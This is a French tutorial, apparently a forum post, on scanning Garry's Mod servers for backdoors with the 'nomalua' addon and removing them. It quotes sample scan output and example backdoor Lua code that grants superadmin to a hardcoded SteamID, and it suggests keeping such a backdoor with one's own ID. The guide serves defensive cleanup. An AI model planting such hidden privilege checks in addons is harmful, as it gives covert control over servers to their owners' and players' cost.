Comment détecter les backdoors sur son serveur et les enlever

Ce petit script va vous permettre de détecter les éventuels backdoors qu'il peut y avoir sur votre serveur.

UTILISATION ET INSTALLATION

Liens de dl : https://mega.nz/#!tAAwQTDZ!XZErl9g_HoYCBpkrbDEVUn2NNQbaW9brD1r66wBBTTw

  1. Pour commencer placer le dossier nomalua dans le dossier de vos addons(sur votre serveur garry's mod).

  2. Redémarrer votre serveur pour que l'addons soit pris en compte.

  3. Une fois sur votre serveur ouvrez la console et tapez la commande : nomalua_scan.

  4. Votre serveur risque de buguer/crash pendant environ 15/20 secondes

  5. Réouvrez la console, il doit y avoir avoir quelque chose comme ça :
1 - MISC (References global table) gamemodes/darkrp/gamemode/libraries/fn.lua:120 GetGlobalVar = function(key) return _G[key] end
4 - NETWORK (HTTP server call) lua/autorun/photon/cl_emv_airel.lua:17 http.Fetch( fetchUrl,
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:52 local fileRead = file.Read( "playerlist.txt" )
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:92 local fileCheck = file.Read("playerlist.txt")
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:142 file.Read( "playerlist.txt" )
4 - NETWORK (HTTP server call) gamemodes/darkrp/gamemode/modules/darkrpmessages/cl_darkrpmessage.lua:16 http.Fetch("https://raw.github.com/FPtje/DarkRPMotd/master/motd.txt", receiveMOTD, fn.Id)
2 - AUTHENT (Presence of Steam ID) lua/autorun/tdmcars_vols60_police.lua:2 © Guillaume (STEAM_0:0:71249946)
1 - MISC (References global table) lua/includes/util.lua:267 _G[ name ] = NUM_AI_CLASSES
2 - FILESYS (File deletion) lua/includes/util/javascript_util.lua:13 html:AddFunction( "gmod", "DeleteLocal", function( param ) file.Delete( param, "MOD" ) end )
1 - MISC (References global table) lua/includes/util/javascript_util.lua:14 html:AddFunction( "gmod", "FetchItems", function( namespace, cat, offset, perpage, ... ) _G[ namespace ]:Fetch( cat, tonumber( offset ), tonumber( perpage ), { ... } ) end )
1 - MISC (References global table) lua/includes/util/javascript_util.lua:16 html:AddFunction( "gmod", "Publish", function( namespace, file, background ) _G[ namespace ]:Publish( file, background ) end )
[size=85][font=Helvetica Neue, Helvetica, Arial, sans-serif]2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:52 Chromebolt A.K.A. Unib5 (STEAM_0:1:19045957)[/font][/size]
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:55 Falco A.K.A. FPtje Atheos (STEAM_0:0:8944068)
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN) 

TROUVER LA BACKDOOR

  1. Pour trouver une backdoor il faut regarder tous les steamid présent dans le scan. Par exemple vous pouvez avoir ça :
    AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN)
    Ce n'est pas une backdoor, c'est juste le nom de la personne qui a fait une partie du chat.

  2. Une backdoor ressemble à cela:
    2 - AUTHENT (Presence of Steam ID) addons/nestorro/lua/autorun/nestorro_launch.lua:101 if ( ply:SteamID() == "STEAM_0:1:64045285") then

  3. Si vous avez le :
    ply:SteamID() == "STEAM_0:100000000") then

    C'est possiblement une backdoor, il faut toujours regarder ce qu'il y a après, par exemple ça peut juste être quelque chose pour que le créateur de l'addon affiche un message lorsqu'il rejoint, mais si il y a quelque chose comme :
    if ( ply:SteamID() == "STEAM_0:1:00000000") then  RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin")else


C'est une backdoor!

COMMENT L'ENLEVER

  1. Pour retirer une backdoor vous pouvez tout simplement mettre votre SteamID à la place du SteamID de la personne pour mettre une backdoor sur votre serveur en cas de problème, par contre faites attention de bien regarder ce qu'il y a derrière parce que ça peut se retourner contre vous, exemple :
    RunConsoleCommand("ulx", "banid", ply:SteamID() )
    Dans ce cas là, la backdoor va tout simplement bannir le SteamID présent.

  2. Pour retirer toute la backdoor il suffit de retirer le code (qui ressemblera à ça)
    concommand.Add( "Nestor", function(ply)  if ( ply:SteamID() == "STEAM_0:0:82261024") then  RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin")else  ply:ChatPrint("N'oubliez pas d'aimer si ça vous a plut :), et venez sur Agorarp :p, " .. ply:Name() .. ".")endend)